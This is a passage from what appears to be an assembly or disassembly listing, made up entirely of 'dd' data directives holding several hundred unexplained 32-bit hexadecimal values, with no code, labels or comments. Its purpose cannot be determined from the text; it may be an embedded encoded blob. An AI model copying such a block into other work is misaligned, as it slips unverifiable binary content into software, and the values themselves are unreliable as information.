		dd 0C57741h, 0E7D8181Eh, 9224FF63h, 8470DE00h, 85098833h
		dd 0A88050EDh, 6A1D119Dh, 0FDAB1EEBh, 58154B00h, 13904Dh
		dd 0ADD02AB9h, 0EFC9ED54h, 0B7EB0401h, 377CA235h, 380A61D8h
		dd 0B68721E4h, 8584450Bh, 0AE5CC059h, 74489413h, 24C703B9h
		dd 90FDD634h, 0DFA1ECh,	6A50FA0Fh, 0F1D8B24Ah, 10AAB000h
		dd 0CA0D1ACDh, 3A7393h,	7EBE774h, 9C378454h, 0C1561100h
		dd 2E951401h, 0B174C4h,	8B3BF330h, 4E72163Ah, 0A303C9F6h
		dd 0D74FA4CAh, 3BDFC0E2h, 48CE30E4h, 0DAA0B210h, 0CCDBC1Fh
		dd 4DF9E100h, 3B2E5E69h, 0AD004AC7h, 8F6E02C6h,	0D9076D48h
		dd 3EF34C2Ch, 71ACAF10h, 30FC39A9h, 9D835380h, 6B963580h
		dd 2592AE0Fh, 8BC821BDh, 0F055A933h, 17201700h,	39B30780h
		dd 0E8D0D2F2h, 0EBE0015h, 0EFD873BBh, 0E4006B09h, 19C6F6BAh
		dd 78224C10h, 29394C2Dh, 8E4ACC02h, 0EE40263Dh,	0A60084DFh
		dd 78E70A5Dh, 0AD014BCh, 87456D10h, 362500E8h, 0E52047E2h
		dd 957B1E00h, 2F603F55h, 6B450049h, 1731185Fh, 0B6001D4Ah
		dd 0B235E0E5h, 0DDBCEDh, 57A4AC56h, 0D27993DBh,	0E0897500h
		dd 0BD5CA581h, 820B00EDh, 0F6F1A7EAh, 0B6F04A6Dh, 0FD953900h
		dd 0F2A41A76h, 0D2AA12B9h, 0DF7C8801h, 457AB300h, 9DF8F118h
		dd 1D370016h, 5761D3F9h, 4492A1B6h, 6D336800h, 0C79D087Ch
		dd 42744CDDh, 0A205C938h, 0C0B25486h, 3B1C32F1h, 6C8CC800h
		dd 0AF0AD8B7h, 0E7B40056h, 6118CE21h, 5000728Fh, 2CD12553h
		dd 0B146A3h, 0E92139C5h, 7FBB7D1Ch, 78338F3Fh, 63533A00h
		dd 2023E25Bh, 0A3C22AFAh, 0D6C55CD0h, 283B5909h, 0AB464A0h
		dd 69007FA7h, 0FD5202E0h, 4E04EA49h, 555AD0BAh,	0AF0003F0h
		dd 0DA6D573Bh, 6CC2A17h, 0BD6227FBh, 0D509E996h, 684992C6h
		dd 0F8B4AF04h, 0C25D019Ah, 0B1ECE632h, 68E0DFF0h, 0A8A1AE54h
		dd 9570201Eh, 68AC58h, 9705FE14h, 0D01A24h, 7B6E092Dh
		dd 64E5FF33h, 10B47750h, 73C08506h, 0F1006FAh, 0D81A1EB5h
		dd 47BF9300h, 0E8C0FEB7h, 888CC3AAh, 0F27A004Eh, 63733DC4h
		dd 6DF208CDh, 0B4D9FF00h, 3C805F64h, 0A3F7000Bh, 671BBC40h
		dd 100713Fh, 0B3DEA51Eh, 3667035h, 490E63E0h, 0A4B00383h
		dd 0BF00D37Fh, 85805E81h, 3175792h, 0C32BF0BEh,	8003EEE1h
		dd 89D97294h, 22383A27h, 9709F9D8h, 0E8875A8Ah,	0D61A0047h
		dd 2C0186E3h, 832908A8h, 0A438C4EDh, 87BEA400h,	7527A5F9h
		dd 26117203h, 0E9B6F8B3h, 0DFA3A0h, 6A975A58h, 863D3073h
		dd 99669000h, 3F09620Ch, 61E000D3h, 2ED539Bh, 4C02C8A0h
		dd 8667F792h, 128E607Dh, 96E4C7h, 0EADB6E46h, 4EFA5008h
		dd 5561A500h, 0FDCCC4F8h, 1E37DF4h, 0B9F11F4Fh,	300BC0D2h
		dd 0D71C5384h, 6F5703DBh, 0A0CFDC00h, 3B5EB3CBh, 10818CE1h
		dd 4E068EBEh, 0BDFAD0A3h, 0A40E3F00h, 0AFDE308h, 0F4961D22h
		dd 699D809Bh, 3E1E1A63h
		dd 0B3043B00h, 2237DA26h, 977EC9h, 0B0DFFCA3h, 0A011336Ch
		dd 8312C33Bh, 78BFF31Ch, 322488DAh, 0CE390052h,	14365D2Fh
		dd 0F04809B1h, 0BFBE00CCh, 7E4488D3h, 0AB65012Dh, 9CC0143Ch
		dd 0F4EFCCC7h, 4E3A9400h, 92B332Fh, 6BDC049Eh, 80D7A7E9h
		dd 0BD5E216Ch, 5EBC48h,	58ABA250h, 17F42D27h, 23DCA22h
		dd 0C5CF44FCh, 0EAEFF7E0h, 0F3B5EE00h, 0C13B72F9h, 0D50B0089h
		dd 803E8A01h, 81002374h, 0C89A055Ah, 0C7C56Ch, 0E7E5B746h
		dd 0F5E41DCCh, 0FC20300h, 29E2A413h, 77C30071h,	7C50655Fh
		dd 1C004E94h, 0AFFA9AB0h, 1E15C76h, 5B4C06D5h, 40501785h
		dd 6CA3CDB3h, 2D006DFEh, 14F5EDA9h, 9F90D6h, 0E8F39566h
		dd 6517B9Bh, 0F1AF5600h, 35087438h, 776FAFBh, 0D4DB8A50h
		dd 474680C8h, 0A003CC0h, 96A46E7Eh, 3B139C0Dh, 0D78049A1h
		dd 0E3E5CA6Ah, 580E871Ch, 0C041C47Bh, 77E5610h,	0C771623h
		dd 98620018h, 4DF2C7CAh, 6164AE07h, 0FF90C6FAh,	5A917Fh
		dd 0F478187Eh, 15241759h, 6FFAFC00h, 4AAF8C0h, 0CA7B0FD1h
		dd 70E70C30h, 0CB4493F4h, 6F5D57C8h, 87B3CC00h,	90228E6h
		dd 0EA8B2C51h, 0B624FCh, 43FF45B7h, 1A902720h, 7054E01Ch
		dd 0A487807Eh, 6E75ADE6h, 1F40BC58h, 889632h, 3F4DE0F9h
		dd 13FC8E43h, 7B073B0Bh, 0EC4000D7h, 0B87C31h, 0DB4CD163h
		dd 0F4876AF7h, 1732B38h, 8B81E551h, 48384EC3h, 2DABFD00h
		dd 0DF2F4D05h, 907AD702h, 6043CA8Ah, 0F2B404h, 32CD43Fh
		dd 51941CC4h, 91745C31h, 5E705406h, 0A34C0083h,	0BCF22C05h
		dd 1500F87Eh, 0AE7627E6h, 0A2B879h, 78B2CAE3h, 0E712FE5Dh
		dd 0A375F200h, 9B6F749Ah, 701E0079h, 0DE8FC99Dh, 2E4CAC15h
		dd 4EE90018h, 0A93E4F16h, 7868077Ch, 8EAAB8ECh,	70D55C60h
		dd 4F0009E5h, 57A6A7E4h, 108AFB3h, 111CE642h, 0D0B8F1B6h
		dd 0A5007CAAh, 7F37C4E0h, 1CB1863h, 92D4EBF3h, 609BBD32h
		dd 0B6070C15h, 220FDE35h, 0C10551D0h, 0CDAE011Bh, 0CB377A8Bh
		dd 68F02063h, 0EA2E8100h, 0EEA9B43Bh, 7ABB00A2h, 7736CF8Eh
		dd 228F008h, 662F90FEh,	0AE340440h, 581298B0h, 6F3F8762h
		dd 0EAF7F681h, 0DCE164AFh, 0DB00FB1Eh, 0AA68A3C0h, 0CAC127h
		dd 0AB56827Fh, 5D7AF2DDh, 1B331916h, 3BC22C00h,	4C72D97Dh
		dd 2F0EB424h, 9AE49CFCh, 4076C743h, 5161E3Dh, 2D48E001h
		dd 68A87935h, 2D273D4h,	6EE32BF1h, 40E0A645h, 48034A4Bh
		dd 1EFCC621h, 5F6AB832h, 1DAEFCD9h, 0C0697441h,	669C5D2Dh
		dd 0B050791h, 83D4E380h, 4EC42481h, 1F20CBF4h, 0A6E8FC38h
		dd 80671D41h, 548D9F7Fh, 0BA0A0CDDh, 0EB4ADE21h, 0ADA8D001h
		dd 4420B376h, 5E4FEEEh,	2EEF63D6h, 0BB5BC2DEh, 892FC0C0h
		dd 2C17EA03h, 0A7443F3Eh, 0CF5A9AF0h, 0A17B1Bh,	85EC6A29h
		dd 30101390h, 0B02A1D28h, 81458803h, 88F763E8h,	0FEF8F6h
		dd 8F86387Bh, 0B9D6363Dh, 0D0219E2Ch, 20BA3F0Fh, 0F6577B29h
		dd 2C25387Eh, 0BB8F10BDh, 405845F9h, 0D17B3FB9h, 68239700h
		dd 565078B3h, 705B0E0Eh, 0A04E6A76h, 4C308560h,	59EE10F5h
		dd 4495B703h, 0A0252FC3h, 70A46D29h, 0E13C2C82h, 9F720734h
		dd 7A6C0E0h, 0FD02E67Ah, 8405C987h, 2F60C09Ch, 0F01F0093h
		dd 0C50E6915h, 4266DEAh, 51009047h, 6A9416B2h, 0BDC003Dh
		dd 7476D990h, 0DD003B77h, 0D4D7BFCEh, 986C38AAh, 0C7950EEDh
		dd 22602910h, 1A0A834Ah, 0FF0D4017h, 0BA615800h, 0D3E595h
		dd 58CFD48Ch, 0E7AF4A8Bh, 1F481903h, 0E82542FCh, 7967633h
		dd 126A169h, 0D5B520EAh, 6C007772h, 2FF29C70h, 1CF57AA8h
		dd 0C0AC2098h, 2668D055h, 0D800620Eh, 3D60452h,	123F5Ah
		dd 2E89E54Eh, 0A52C5B91h, 9EE16C09h, 0C92C80A6h, 24DC31Ah
		dd 2EA3141Fh, 6870407Fh, 0BE4552Ch, 0DE5D8907h,	4E7AE00h
		dd 5A1200A2h, 0BFB307DCh, 0CE165E42h, 0A000361Bh, 0A2B95624h
		dd 82A6018Fh, 65FCC269h, 1B64745Bh, 0CFD0F400h,	0F86DCC33h
		dd 1F3B00DAh, 4862DFD7h, 0CD00E935h, 60FA21Ah, 7E32EEEh
		dd 0A045BD26h, 0ADA61028h, 923EFB70h, 34CB9F2Fh, 0C49A6830h
		dd 0CCC0484h, 80810619h, 0EFF9A29Ch, 68D2A900h,	57520A46h
		dd 185803CCh, 0B10312F0h, 0E7FFA000h, 1B70990Ch, 9FF605C9h
		dd 0E00591ADh, 0FF00F020h, 7014BF01h, 678F99h, 58D987CEh
		dd 5BBAB1DEh, 3E965603h, 786E8B1Eh, 8A4409E0h, 14802535h
		dd 0EB4547CBh, 1C10939h, 2B1EF050h, 91EF34D2h, 0D8805F63h
		dd 26121631h, 66032EC5h, 0B7CA436Eh, 0EE2BF07Ah, 57B200B9h
		dd 350BB152h, 4A0024D0h, 9C0A88A9h, 5BF839h, 865FFB3Ch
		dd 4CD28147h, 40E38300h, 4661BB43h, 0F6D9011Bh,	53C1971Fh
		dd 0C760094h, 3FB01CCh,	5779E451h, 80A24662h, 689C52h
		dd 0D3270746h, 0B11F26h, 3DE1DF5Bh, 8379F13Ah, 0F5442400h
		dd 5E80BF15h, 21E6007Fh, 139B0E29h, 3359C4CFh, 82B80400h
		dd 84A8392Eh, 0CC895309h, 4DE4F100h, 464A0959h,	0E254400h
		dd 38A33E94h, 6F806314h, 5F19F439h, 1612B626h, 90D0A5E5h
		dd 8A805867h, 3DD45C60h, 2A09ECF0h, 200A1075h, 0AB91F638h
		dd 3C9094A4h, 5930DCB0h, 18001CD3h, 19D960A0h, 0EF880B6h
		dd 9AF0B158h, 3B64C3FFh, 0D124E993h, 940FDC85h,	75BC8714h
		dd 0DE657FA1h, 0F354002Eh, 0AB939B49h, 1A87440Bh, 0CFF4007Dh
		dd 0A10FF9h, 0BBEEDF2Eh, 0B8ADF666h, 8747D1F5h,	42CA68Ch
		dd 9B80CF87h, 5E55B5h, 61A4B6A1h, 0EC17FF54h, 0A227EB18h
		dd 0B63DF468h, 93F200B8h, 88D2BC34h, 55007773h,	0C7BAAF58h
		dd 45B23Bh, 0E552A771h,	0D5E1D083h, 0C1019002h,	584A1D29h
		dd 24F7F840h, 0F63F28h,	1EB4C966h, 8DE2F852h, 0E2844A0h
		dd 96128000h, 5CBFD1C3h, 0DAE90086h, 0A049C20Ch, 0BA1D462Fh
		dd 0A1B016D4h, 6731CBh,	0C3B8C957h, 1B1174CCh, 69770800h
		dd 3FCB973Bh, 4C7F2Eh, 4FE1A4ACh, 0C98F02E2h, 0CFCA3E00h
		dd 9138EB14h, 0AC4D00B4h, 0DA6441A0h, 9858B15Bh, 65D81276h
		dd 1E19F4C1h, 0C0DE6AF4h, 1828B711h, 130039DCh,	3C9CC9A4h
		dd 30CD53F9h, 84A1D557h, 80A886D8h, 2A0404B0h, 6F09A54Ah
		dd 0D46B1480h, 6EBA0077h, 0A4BB027Dh, 550C68CAh, 40A1BFB8h
		dd 0E1C56073h, 40B6B1BCh, 82FCB305h, 0F4D069B2h, 0E3D9F8h
		dd 40BCF0Dh, 0B439ABEBh, 0A80A0C02h, 49CAFE80h,	0A03FF088h
		dd 0C41655F9h, 540556AEh, 9300C152h, 430BB62Bh,	13A20029h
		dd 0D3A69477h, 0E1005E84h, 0DC879605h, 32BA9FEh, 782C3732h
		dd 0DBC9296Ch, 1AC0FFF4h, 86007AD7h, 0B3D209E3h, 9076CEh
		dd 1431D823h, 0B6A5413Fh, 380AD600h, 0E0F28715h, 489B00D5h
		dd 3595D8F0h, 16014AB4h, 43B1F840h, 0E6405E1Fh,	19864A0h
		dd 7FC63725h, 706B6FFCh, 0D09C5DDh, 82BADBC1h, 0E8A7AD2Ch
		dd 10D7C034h, 0ECE321h,	6AD8013Eh, 1A2153Ah, 0C403ACD1h
		dd 0F8259662h, 4405F838h, 72459E9Ch, 9E880F4h, 8A4D65A8h
		dd 813DD484h, 0C079EA12h, 3000D92Bh, 0F50FA19h,	3EEFE8Eh
		dd 3B7E3501h, 5B981613h, 2A00BCD7h, 714CE274h, 98151Fh
		dd 36C78C8Ah, 0F2E5B00Fh, 0F9007C70h, 27566478h, 3AF32BAh
		dd 667BF88Ch, 37C87062h, 2090F6DDh, 150134B0h, 93B7449Fh
		dd 94726A16h, 359D90Ah,	0AC8F00F8h, 727F3ACDh, 0DE81F600h
		dd 3E58A3D0h, 0E1AA0230h, 24D9A127h, 81698080h,	0B2005FA6h
		dd 2D7A7C82h, 0F0646C49h
		dd 31AA09E6h, 0C401B628h, 0C83616CDh, 0ED1306BEh, 6C40761Fh
		dd 0C108E88Ah, 20A79738h, 3093C0DDh, 5D14A094h,	1FEEBDB8h
		dd 5200574Bh, 0A790F155h, 959300E1h, 0B54D75EBh, 0CCE6FAABh
		dd 0C330997Bh, 0C527DA63h, 0CD7500F9h, 9282674Fh, 6E00F137h
		dd 259EFA44h, 0B04D0CD0h, 23F80000h, 0DB0EE259h, 0A4044272h
		dd 937815CBh, 0C5CE9880h, 0F7712C37h, 0B01FE590h, 183066E5h
		dd 20FF485Bh, 9E10758h,	0C03807D6h, 0A64175D4h,	2F1D9D09h
		dd 0DCB02016h, 965EF830h, 0BEDA00A4h, 0C4836158h, 7A723A00h
		dd 89B0CD7Bh, 21B00E3h,	34498679h, 0A4001C05h, 56DC3EF6h
		dd 0FA07C0C9h, 118CB34Dh, 0FF400167h, 52EB811Eh, 8CAEB450h
		dd 0F1570625h, 887EC10Eh, 2839E203h, 0B3A0CEBDh, 548DC835h
		dd 0FFF4161Eh, 81180024h, 92669511h, 0E003A6F8h, 0E1795F93h
		dd 2D690247h, 0C61132DAh, 607FE641h, 7902AF80h,	5A8B0BC0h
		dd 820E875h, 0CFA214EDh, 85CB402Eh, 80785D84h, 0E39774EEh
		dd 80F6442Ch, 54D9D000h, 166FFDB6h, 8B323FC4h, 48F60024h
		dd 196F7427h, 211B0F1h,	434507FFh, 78C828B1h, 0E808C0F0h
		dd 876328Bh, 0C292DB16h, 0A6A3D700h, 17F7B199h,	0BD4740h
		dd 0DE33547Ch, 8C00D02Dh, 0F503B80Ch, 0A4473799h, 1FB90060h
		dd 0EB312968h, 2501CF78h, 48791272h, 0C468ADC5h, 50955D05h
		dd 0A84408Bh, 0F38293E7h, 3A5C7470h, 0CC3B1834h, 1247A191h
		dd 4071BAA5h, 0FBD19014h, 67000DE0h, 528328B8h,	19E47F1h
		dd 3E6CD8Ch, 24D5458Ah,	77007124h, 20AC386Ch, 90616h, 27685CB3h
		dd 0A7FCB566h, 80F080E3h, 0B7DF71D9h, 0FD94001Ah, 47D76276h
		dd 14486BF9h, 1E0E7A64h, 4237ADAAh, 0D9EBFA94h,	0E0A6080h
		dd 0A35BCC9Dh, 0A076740Fh, 65CEDD3Ch, 0B34F309Eh, 78C13FFAh
		dd 0BB47D101h, 0FBE251F2h, 9E18092Eh, 2D958880h, 1603C329h
		dd 0BEC92E13h, 0D5DCD883h, 883B00A1h, 0E6AD89E5h, 809ECB0h
		dd 20DB1CA6h, 3CF8F4C6h, 6B5161Eh, 23FF00CFh, 0E6771601h
		dd 99266100h, 91FDD8C0h, 10180078h, 5687A1C2h, 7D00DCA7h
		dd 9952155h, 2D47B869h,	0B080A4D4h, 1863292h, 0BAB2C0A0h
		dd 0A7BDF11Ch, 0EAA404A5h, 3DD9F488h, 0F0801631h, 0B1D6204h
		dd 0C804D181h, 0F140C632h, 0FEC0A4C0h, 0F36F00FFh, 60CA9E30h
		dd 0AD018142h, 45921E13h, 0A5F359CCh, 6131EAC2h, 0E9E48263h
		dd 6AF71363h, 74090F0h,	0EA053E7Ah, 85462568h, 3F24A480h
		dd 0F307795h, 0D738DBAFh, 36D5EC1h, 0F292DC8Ch,	0BE691900h
		dd 2406CD1Fh, 6CA30116h, 0FD0C1D4Ah, 6AA0D451h,	0FB6B6701h
		dd 0DD41E8F7h, 34EF2F8h, 20997FFFh, 9AF90DAEh, 3002DF74h
		dd 0A46D5DB5h, 3F058FCh, 66853A41h, 25F8C173h, 0D10E6186h
		dd 60EC68F8h, 194F0711h, 6AA90140h, 93CB5329h, 0FFF834D7h
		dd 73D1E43Eh, 0EE679100h, 50F9C9Fh, 49C90773h, 6021444Ah
		dd 0E385326Dh, 909B48h,	536545BCh, 58C43018h, 2317DFF3h
		dd 8778010Fh, 0CCD54D14h, 80BF5A42h, 128B92Ch, 0AB1E00B4h
		dd 4F66B63h, 4A03FE5Ch,	0F26646E7h, 0D2AAE89Ch,	0A29000D7h
		dd 1F3956B5h, 8B260FBEh, 178034EBh, 0F9E09F08h,	1590395h
		dd 364B78CCh, 9A6AC180h, 1A7DFF00h, 1633CE34h, 25F2019Bh
		dd 0E77C299Dh, 445911E6h, 880EC23h, 311A8568h, 0EB05F21Fh
		dd 4C6E0F80h, 90695D92h, 0DFA10700h, 40FAE6BCh,	99831518h
		dd 0E54AFBECh, 852B44C0h, 57770589h, 5F8EEDh, 84DEA095h
		dd 7B27CFD4h, 84C516h, 3D71782Bh, 7E1C89A5h, 308FB30Fh
		dd 0D4C4C186h, 0C4659F17h, 76ABA8F0h, 364000F2h, 880D38C7h
		dd 0EE006AE1h, 2A411B31h, 3B25C8h, 0EAA9D3BCh, 94086432h
		dd 2785030Fh, 0E1780E84h, 133CA165h, 0C09F4C38h, 0E841895Fh
		dd 0F448FA24h, 17E000BCh, 3521C436h, 0C8C100AEh, 3F38337Ch
		dd 52E87045h, 0D382E507h, 80A07AF9h, 0A89DF709h, 4DD4A8h
		dd 331A9084h, 18CB030Fh, 0CE009094h, 0CDDC8C8Dh, 0EB4039E7h
		dd 7A5EDD8Ah, 3F3D00C8h, 1BFC41F9h, 16E42500h, 3A3CC12Dh
		dd 0D834E32Ch, 30C41DD7h, 17CB048Ah, 4454BC31h,	0CE16F990h
		dd 0B7002E2Bh, 4B702F76h, 642200D8h, 92F09106h,	0F80061AAh
		dd 0BE1AFB50h, 62C7DDh,	3C4570D8h, 65662169h, 8C94BCB0h
		dd 2EC50900h, 0C0584D4Bh, 29AB9AD9h, 649C3F22h,	0ECDD19C1h
		dd 4DF92FE4h, 5A00D8F6h, 0A9D21BEBh, 320051B5h,	347DA787h
		dd 75D22D4h, 1AB4FBBAh,	972520CBh, 390483B6h, 0D6EB1465h
		dd 294B7CB2h, 0F574609Ch, 0C4450516h, 0D36F3440h, 0B028ABDFh
		dd 4B30967Ch, 0C744431h, 0A9B8160Ah, 8F9C6CF2h,	8384E959h
		dd 0D8B1C127h, 14D2C854h, 24C7F957h, 4F2E52A0h,	7CE35315h
		dd 1CB070D8h, 2044A027h, 34A41F44h, 77CEECBh, 0DE7E29EEh
		dd 0D7E6604Bh, 0E8FBF6F2h, 4006B9Ah, 4489458Eh,	2728F9B0h
		dd 8385AEBh, 197BB1BCh,	0D880EE5Ah, 0E46F5305h,	0D89B0928h
		dd 8420DEE0h, 1893D92Fh, 0D67A4700h, 0C4D402EEh, 356B3AF4h
		dd 98D85BB8h, 4C42DE03h, 0A43AE821h, 0AE7B0054h, 0F95F07C4h
		dd 0F8F10062h, 0A18B7984h, 0D205A9D8h, 0BC8E247Bh, 61729C80h
		dd 0FDCF2DE8h, 0F1625882h, 0BC406B20h, 0DD321827h, 551738DBh
		dd 0E108819Fh, 4080BDCEh, 90CB01A8h, 530C92C1h,	0F1C2AACDh
		dd 0F3E0EA1h, 0C0A40EB0h, 6C049196h, 65A30A9h, 45F9B415h
		dd 3FB902B8h, 78A0A7A6h, 1243754Ch, 40D56A6Bh, 1F88B800h
		dd 410306BDh, 0A4BB653Dh, 344BF8D1h, 0A22400F0h, 92CBEEF5h
		dd 5800B435h, 69FFBCA9h, 4E42F65h, 59B1CF08h, 0E2A0C8AFh
		dd 36D29E00h, 80037A2Ch, 0CEA20302h, 5BB8724Ch,	0D49876A1h
		dd 641D7119h, 30C0CD89h, 0B24E7D66h, 0E0FC0FC7h, 8C8449D9h
		dd 3018B1B1h, 5900BC0Bh, 7627EBABh, 26A26Dh, 0B1219D6Ch
		dd 1B847531h, 1A07EEFCh, 0D238E8DFh, 9CDE1FD0h,	0F7970073h
		dd 0B6F15B1h, 0DB00A26Ch, 0D00E0F72h, 0C8D32Dh,	98DA38E6h
		dd 75741A36h, 59396300h, 73238C40h, 8F3C0A67h, 0BC8953h
		dd 4317D64Ch, 2AC047A8h, 0FFD00C08h, 36810E6Bh,	85A0DD04h
		dd 0B376CA32h, 0B9289F00h, 3A8F2491h, 665B000Bh, 3B6E6F96h
		dd 370BB777h, 0A633E2h,	527E4770h, 615616B6h, 35D00398h
		dd 0DCD01657h, 0AE0F5AA6h, 4A96402Bh, 0CD80EC70h, 339F2619h
		dd 0E442010Eh, 2EAE1FF2h, 0FF451163h, 8615E4h, 0E28FC98Eh
		dd 30794F92h, 115B0E00h, 57E481CAh, 285FA46h, 0A82CCF90h
		dd 0CE1F9B7h, 92F440E0h, 42309317h, 0AF1E11C1h,	0C25F02B3h
		dd 730AEB3Dh, 0CD8838DCh, 0DF324049h, 3A00C664h, 5CC8F061h
		dd 0F8F85937h, 9AB100FAh, 6811AC4Bh, 1D001F62h,	420138C1h
		dd 0F830D92Ch, 323D02C6h, 522DDC17h, 0F10FA280h, 801EA25Ah
		dd 0D2007310h, 0C6749CECh, 5F130ED3h, 0B6A48BDBh, 71A28096h
		dd 8C001E6Dh, 0E6F77AD6h, 8AF6A7h, 6B9C44A2h, 208B5123h
		dd 0AA0F830Fh, 0A1490EFFh, 602F975Fh, 0ADD8006Bh, 7E17E556h
		dd 8271EF98h, 0D910D000h, 9C92434Fh, 0ADA312CCh, 0EEA890A9h
		dd 867A385Ch, 0E932D00h, 89CD19D1h, 0B84200D3h,	4ADBE5F4h
		dd 3A00B412h, 7F0AE4EBh, 3931491Ch, 590058CDh, 0DC29C3AEh
		dd 303AF651h, 0A03C78F8h, 0D458009h, 8D9BAD78h,	0DD8907EEh
		dd 0C0357A5Fh, 4F963F9Ah, 1CF123Eh, 68604ED8h, 0C84794D3h
		dd 80EF3D1h, 0E8C4003Ah, 4CD2C24Fh, 651F2D03h, 0A883A027h
		dd 423095h
		dd 71642B69h, 0CF399973h, 4F7A1100h, 2CDB2632h,	0ED1605A3h
		dd 0C0A8E36Fh, 0ACAB9278h, 46DC6112h, 8D4BEE00h, 3EA6C3ADh
		dd 1FBB77B8h, 4F984D9Eh, 9A6AB670h, 37C901A0h, 2F426AB5h
		dd 0BC03C017h, 7B12418h, 0DDEC4E10h, 134A7296h,	8FA223E0h
		dd 0DC1BDA04h, 7CC0F973h, 5BCCE69Ch, 2B9880C2h,	221635C5h
		dd 1007987h, 0BF778CE3h, 80910042h, 7DB0EBE8h, 0C60B5DD3h
		dd 80BA47C0h, 0AA182563h, 0B1F5040Bh, 0C0A5D87Ah, 22C35BF4h
		dd 0A8801C96h, 19FC80BBh, 66500031h, 3EBEA753h,	9009F154h
		dd 80724D23h, 9521A2D1h, 9C9318F4h, 5FC248A3h, 54E4850Fh
		dd 3011208Ch, 1047591h,	0C0965B9Dh, 0D80A18C4h,	60055E54h
		dd 0D93B8D98h, 0AB2DD7C2h, 726D07DCh, 129A0D20h, 0E1EC008Ch
		dd 5B6167A6h, 440FCB69h, 0A0B94CBCh, 2EC73D29h,	0B5470095h
		dd 15E5028Dh, 1A006673h, 69C6E1F7h, 507FC571h, 776DCA9h
		dd 31C49937h, 9EF95093h, 450067DEh, 23B0484Ah, 0ECEAAAE8h
		dd 22B8E6h, 1C62BC06h, 188FABE5h, 0A7E1EF0Ah, 0E81EC4F8h
		dd 0F1EED980h, 7C57BA14h, 5FCCA891h, 0D82C00B1h, 0C5FE1B34h
		dd 6CF03BDDh, 600F2A3Ch, 7CA7E0D1h, 0CC5F50E2h,	2D7A0A37h
		dd 5A0A69Ch, 0AD999717h, 870093B8h, 8A015396h, 0BC195D0Dh
		dd 0D0E95B00h, 794ABB91h, 0DD619D00h, 55560145h, 74D2003Bh
		dd 0C0AF2D10h, 87F2D644h, 9C534026h, 154A1A00h,	198E04Ch
		dd 0B2575B7Bh, 80E8043Dh, 26EA5358h, 101527h, 0E7C1EF3Bh
		dd 44ADB7F9h, 0E43F551Dh, 0B504B941h, 0ABE89414h, 0C57900D2h
		dd 0BF9B9AA0h, 770046F6h, 0C88BD4C7h, 294A8h, 920E3951h
		dd 362DB5C1h, 0FC017800h, 66B74834h, 0EA870018h, 4E26B40Eh
		dd 6EE0E8CFh, 44AE4300h, 0E148A477h, 0C6950015h, 0C120EC62h
		dd 0A200279Fh, 0C80FD4FCh, 300784h, 66F66355h, 1A753CF9h
		dd 3CF458h, 7F1DE441h, 0F5B4710h, 8A71E29Eh, 8CC86840h
		dd 0A85C1F04h, 8CE1E8Eh, 803C3140h, 266C483Bh, 5CB3EEh
		dd 755C3558h, 2F00C286h, 22879447h, 16E8A373h, 58CE04Bh
		dd 0A8B9B88Ch, 42342734h, 1BA8406Ch, 837B00D0h,	10C94920h
		dd 82004DBEh, 0C4B5221Eh, 0F0B481Dh, 0E25F7FA7h, 46F258E0h
		dd 720942E3h, 80AAB086h, 9695C30Ch, 8CB3B5h, 0CA304AA1h
		dd 4400A4CBh, 47919E94h, 0B1BB722h, 83981D43h, 61B6E480h
		dd 0E798F5ADh, 0F9815C1Fh, 910094EEh, 0DFFB4F15h, 7FB0EAh
		dd 0B963EB04h, 1F4D12A9h, 0FEB71B04h, 0F0E07C6Ch, 7A843C90h
		dd 47BB0D02h, 0D4D8E832h, 0CCB616FEh, 0CB188h, 0A58F4CD7h
		dd 0D5169A3Ch, 14007968h, 0B15439BDh, 0EA760564h, 9055A00Ah
		dd 4EF60E9Ch, 2F16C4E0h, 3800461Fh, 5AFEB463h, 424002E1h
		dd 0AAE9B5DAh, 0BC89CCF6h, 0C3901055h, 95730032h, 422D9E60h
		dd 0F00BC62Bh, 8271D9A9h, 0F6B64A44h, 1B650064h, 94EF91CEh
		dd 19F44300h, 9B6F5AF0h, 0FC10B5EAh, 0C41C181Ch, 0A10BFCECh
		dd 4E88006Bh, 4941EBh, 8E8F5ED5h, 0F1D6BE6Ah, 90727C28h
		dd 1BBAF4E1h, 848FF00h,	11C284CCh, 88560087h, 8F5B6F6Ah
		dd 0C4CF169h, 984303DCh, 0CB18893Eh, 0FF59F0D0h, 233201D3h
		dd 0B3C9C0B2h, 0B68C4091h, 0A816EE90h, 64400188h, 53EC3262h
		dd 4745003Fh, 357F3BC0h, 4A0FA211h, 0CC10844Bh,	71D439h
		dd 86D5EE9Ah, 0B5434E7Ah, 83488C00h, 0F2F8FB94h, 620C0088h
		dd 0C44BE9C1h, 36710832h, 46EDEC01h, 996356B4h,	285AF2h
		dd 0B0F541CDh, 866D229h, 0D8F40D50h, 9C90F903h,	0E89E02ABh
		dd 1DEFAD0h, 68FCAA81h,	74CB7394h, 6B043CC4h, 0AE63602Bh
		dd 0E4E9648Ch, 0B1D2006Fh, 46B4035Ah, 0F03D3E4h, 0BAB5544Ch
		dd 0E552D0A2h, 0BBE800F5h, 0DA4BD650h, 9CF85D8Eh, 0BF962F1Dh
		dd 92AC48EDh, 0ABD26A2h, 1401270h, 0D0BA5308h, 0C7B87188h
		dd 0DFEDD7B0h, 0C4395200h, 0DA1134CBh, 0C654002Fh, 0D4F2180Eh
		dd 33B00CB8h, 9C35FF00h, 0DDA55D11h, 0C58401D3h, 0F14E3ADAh
		dd 57905045h, 0D90091C9h, 4A51E5B8h, 72309F74h,	6C009DCCh
		dd 732528AAh, 0B42C6F00h, 6C04A6EAh, 2D91FA85h,	0E4001B5Bh
		dd 0EBC58F74h, 0A6791D01h, 78DD3D33h, 0BCD1E8h,	1FE40B8Ch
		dd 0F9C96A77h, 18F39702h, 0E8627B06h, 76D3C568h, 98205849h
		dd 0B7ADD24h, 2400A1E0h, 543DFAB3h, 0CDB1A80Bh,	0C5F460A5h
		dd 72D8229Dh, 0A4EF0200h, 56BAC9D2h, 7654005Ah,	189CC288h
		dd 6858E50Bh, 90E324B8h, 2B60440h, 942902B9h, 0D3E8DCC3h
		dd 1E696A60h, 6F5DAB00h, 0B853E33Eh, 78320182h,	0BB44B372h
		dd 940C34EEh, 12C61038h, 9C0E3FC0h, 0D8401F23h,	0A4515CF2h
		dd 65950082h, 9671FCA3h, 720091E8h, 26C303Bh, 9840225Eh
		dd 85C4000Ch, 6A688EAEh, 4726B6D7h, 0CE424888h,	0B4232017h
		dd 0E5FE6EF4h, 0C95DC70Eh, 5729F5h, 546083E8h, 0F4BE3Ch
		dd 96844CD9h, 0AFB02508h, 213C518h, 3D6CCA0h, 9F158137h
		dd 0B9C047BAh, 0E21CB55Bh, 7CD2C622h, 4520704Bh, 99180060h
